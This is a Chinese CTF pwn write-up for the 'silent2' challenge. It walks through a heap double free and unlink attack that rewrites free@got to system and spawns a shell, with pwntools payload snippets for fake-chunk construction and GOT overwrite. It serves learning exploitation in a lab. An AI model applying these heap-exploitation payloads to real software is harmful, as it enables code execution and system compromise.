前置知识
double free
unlink
分析
checksec
1 | parallels@ubuntu:~$ checksec '/home/parallels/ctf/qiang/silent2/silent2' |
程序分析
看了一下左边的所有函数,一个用来输出的都没有,不过有system
main函数
add函数
delete函数
edit函数
利用
利用思路
Partial RELRO,直接改写GOT段,把free@got的地址改写为system,当调用free的时候,就可以执行system函数了。
在unlink的时候,有一处覆写可以利用,然后在地址0x6020c0开始处保存了堆的指针,如果该处堆的指针可以被改写,即在这里改写为free@got的地址。
那么在以后edit函数调用了,就可以改写指针对应地址的数据了,即改写free@got为system。
堆构造
首先创建两个堆,并free掉。
1 | create(0x100,'DDDD') #4 |
然后再创建一个大小为0x210的堆,就会再次malloc出我们之前free的空间,并在这里面伪造两个chunk。
第一个chunk用来绕过unlink的检查条件,第二个chunk,嗯……也是用来绕过unlink的检查条件,并且在free的时候触发unlink。
1 | payload = p64(0)+p64(0x101)+p64(p_addr‐0x18)+p64(p_addr‐0x10)+'A'*(0x100‐0x20)+p64(0x100)+p64(0x210‐0x100) |
结果如图:
注意这里p_addr是0x6020D8,也就是说它就指向我们fake的chunk1。
然后再次delete index 4,这里就是double free,就触发了unlink,通过fake两个chunk,让我们通过Unlink的检查。
1 | delete(4) # double free |
unlink检查通过之后就是设置
1 | P->fd->bk = P->bk. |
P就是fake_chunk1,可以看出fake_chunk1->fd->bk和fake_chunk1->bk->fd都指向fake_chunk1,所以只需要关注第二次操作即可。
P->fd即fake_chunk1->fd=p_addr-0x18,即0x6020C0。
所以unlink之后,P->bk->fd变为即0x6020C0。
如图:
这样,我们编辑index 3就是在修改index 0处堆的指针,将这个值改为free_got_plt。
1 | modify(3,p64(free_got_plt)[0:4],'1111') |
然后再编辑index 0,因为此时这里的堆的指针已经是指向free_got_plt的了,所以此时再编辑index 0,就是在修改free_got_plt的值。
修改为call system的地址。
1 | modify(0,p64(func_addr)[0:6],'2222') |
最后我们创建一个chunk,写入/bin/sh,并free掉,此时free调用的是system函数,getshell。
1 | create(0x100,'/bin/sh\x00') |
exp
1 | from pwn import * |
调试中遇到的问题
gdb attach太早,结果调试cat进程去了。
gdb里设置跟随父进程,就可以断下来了。set follow-fork-mode parent
其他
wp是根据po师傅的exp写的QVQ,还有Reshahar师傅教我为什么断不下来……感谢。